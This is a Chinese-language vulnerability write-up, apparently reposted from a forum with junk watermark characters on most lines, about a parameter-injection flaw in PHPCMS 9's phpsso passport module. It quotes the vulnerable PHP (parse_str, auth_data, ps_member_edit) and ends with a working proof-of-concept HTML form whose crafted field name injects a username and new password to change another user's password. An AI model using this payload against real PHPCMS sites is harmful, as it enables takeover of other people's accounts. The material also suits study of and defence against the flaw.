提到的通行证的代码:
5 y/ }7 S: c' s U T
* Q# ?1 l- s1 n
7 s3 c3 Q7 }( L0 mparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);) s* E8 k- {2 y; N
) C! h2 u7 w- v0 d' i8 y' _在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。$ w$ l' L$ g4 |9 A
- Q1 @( Z* H, P0 R; Q& u7 O& _我把它留给了你们。
9 p/ T) \. m& K% n" V; _" }7 F( u$ \不知道你们发现了它没有。
( D' t; C( c9 Z, u7 T; Q+ J2 `# @1 Y2 ]2 }
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
/ q l+ F6 ~" a! U7 m: j- H& k8 L( `2 w, o1 P- M5 P
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
" y6 S) g# Q+ O
( d" q& P; [1 E也就是! Z; X D" E' B# J$ T. y' ` W
# x' p# W. s0 u+ \0 Iusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。% N5 Q1 d9 C& j1 F% C0 Y9 X! b6 ?' c
* c7 g8 a+ @) r3 ?
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
6 J: R+ ]& }- U$ `6 K7 O% k' q" { r3 [& Z
0 d5 y" g+ p( Q, f9 j8 F- U* j其实我们有这样的机会,看看代码,如下:! \$ l8 B2 \5 x [3 |
1 |- m/ {* Y0 J1 H* o. u. [
5 ^, v5 I* s/ [0 w9 y& A
public function auth_data($data) {' Q- E- U5 z3 z2 s1 p' c1 @' g& M6 a
$s = $sep = '';
6 ^3 I0 k U% x. X' A4 K foreach($data as $k => $v) {+ |# Y4 U4 ~' c- @; H( @; Z' \" K4 J# x
if(is_array($v)) {6 j- }$ k5 J1 _2 A3 G
$s2 = $sep2 = '';. ]) H2 e8 m+ L3 b$ M
foreach($v as $k2 => $v2) {6 n5 \# L5 A. n0 M$ A3 n; k" H3 A8 Z. N9 P
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
( m- T4 W2 G7 K0 G3 q $sep2 = '&';- p7 s4 L* [9 P) n
}+ n. J9 q, ~* T \9 i
$s .= $sep.$s2;/ L# L& Y! W% F& X) D& z4 q) {3 s
} else {/ J3 f* x% W. J% u6 d+ @: z
$s .= "$sep$k=".$this->_ps_stripslashes($v);
2 r: F* C; n; Q x5 O) Z }" ^7 D) b. L& ^* Z
$sep = '&';3 c! H6 p$ @( y# |2 r/ r
}2 }' e) i9 K" F( }2 ~+ F; r1 |' b% L: ?
! e+ l# f3 g$ T3 }; M $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
' k' O/ G' C( x return $auth_s;! @7 z0 ?" `5 D5 c9 A6 r
}
0 l; S9 g+ _1 r# `0 E, l; ]6 G7 L0 ]- q& r/ u/ S' _" `: i
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。" `" ^$ T6 U7 d3 u- \
' X' I+ [1 M8 }. L0 |
举个例子8 x$ N6 c% N- a. |" o7 U, [
. j0 ~7 Z# T0 m/ b# o
$a[aaa=a&bbb] = 'a';
2 @2 r# b5 c& z ^( B( ]8 X- j! }0 }8 X5 J0 V( M
会变成aaa=a&bbb=a6 {8 m1 p$ u: V7 q# K3 E
# Q- Q; t7 c; H" t v明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
9 h7 _2 ]2 ?" f7 \' M, L% M
1 n2 i J8 W' z3 y# Q2 N" t这个时候,我们可以再去看一个函数。0 q9 s# J+ q0 O( G6 ~: Q
8 M; V7 O% |1 x4 t+ f3 ?, z
就在这个文件内:4 e2 h4 n* L* y3 R% X% I4 V
* e4 Z+ w8 v( F3 W1 r* K$ @! V$ A0 z1 D$ I' v8 _
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
. e" `& ]) \0 F4 C, T1 d) D if($email && !$this->_is_email($email)) {% \3 Z- N: J2 p5 j
return -4;6 m; s# T; [& g W4 e x8 A/ k
}
, R) c, y; N' G, F4 V& K return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
" R! N' g# n _/ ]8 |' e7 K }
$ Z ?' d: m3 E. J3 L
! S6 O; r f" @" x. V这是向通行证发了这样一个请求。
/ [5 ], j7 S3 s# L3 x0 Y, t2 Y1 ~/ j/ D# o
我们再跟到通信证代码里去看看,就会有所发现。8 A, g" `3 e" ]! M* [* G
9 f6 |* d$ ?4 e# g/ o1 V( X" _9 O$ u, v( b
public function edit() {
/ j3 I; ^0 {% Z% m( }//能省就省,太长了不是吗?% W" @. \8 E+ N: c; o% n
+ @' L: d) y9 s2 \# C/ G- x
if($this->username) {' o/ u6 i7 V7 Z! o( l% }
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
. k* [1 _6 N' K, J $res = $this->db->update($data, array('username'=>$this->username));
; v/ ^: Z7 l f" w } else {
5 b" r3 G: u! I! N7 x file_put_contents('typeb.txt',print_r($data,1).$this->uid);
2 s$ d# s0 J- `9 m $res = $this->db->update($data, array('uid'=>$this->uid));3 {, g: `% {+ w
}
5 Y' h" Z' `7 F9 _7 Y" x5 I. a) F+ F
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
- p' K! ^+ a2 f1 T6 q) G
# v/ v; x |3 ]2 ]6 j, M* dpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')& N/ ~; T" @/ n3 G' g' i
7 r# T5 M# N! \" b' s- ^% p很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
g3 u& n" Z5 D u5 I& T
Q- Z# ^# [8 E: ?* ?, B我当然找到了:: T8 T, {' `) D, }) P" i" e/ Y. s& C E
phpcms9/phpcms/modules/member/index.php
, e# o/ o7 ~5 X- B
3 e# X2 }2 W% L8 V3 J4 z$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);) p% u0 E* Y/ x! J2 Z, ^
h% Q5 H7 Q- W, I- k; {
然后就没有然后了。
( U- r8 X. g/ n# Q7 {! e# C
3 m z" n+ R- W% F% Y' H8 g8 @+ C/ L8 Y<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
* H" c& ?+ ?9 W <table width="100%" cellspacing="0" class="table_form">! H0 I$ F" N4 J% f S
<tr>, R- p" r+ h9 I3 A* h& p
<th width="80">邮箱:</th> % T7 [+ J: ?: H4 _
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>9 m! c! C, S% k# ^: D4 i
</tr>" n7 T, n. i6 o/ v
<tr>( C1 k6 |# Y# A! D1 G0 d
<th width="80">原密码:</th> 3 |( _" Z. {+ H2 i1 x
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
3 F6 D2 j& a% ]5 z </tr>$ a# X N# B0 I4 W0 B( w
<tr>
) r! h- _! i0 y& v# J- z <th>新密码:</th>* R, B5 c6 {9 u2 C( r5 D# U$ J
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
, u4 n) }* R; `, L, F% s+ W5 } </tr>: i! i( a* F! C+ F; M
<th></th># S* U" P2 M6 |6 Q4 U3 M; J/ m# E
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
5 r* j9 e$ n3 |/ G </tr>3 ], D9 t) [# c$ G3 o2 e$ h" o
</table> P+ h8 e* E0 d, S
( D y; {) b" r; `; l) ?. S- Q8 w9 r
! E# _) O) M2 u1 d7 t </form>
: _9 x+ ?3 u6 p; E/ u' _& [ |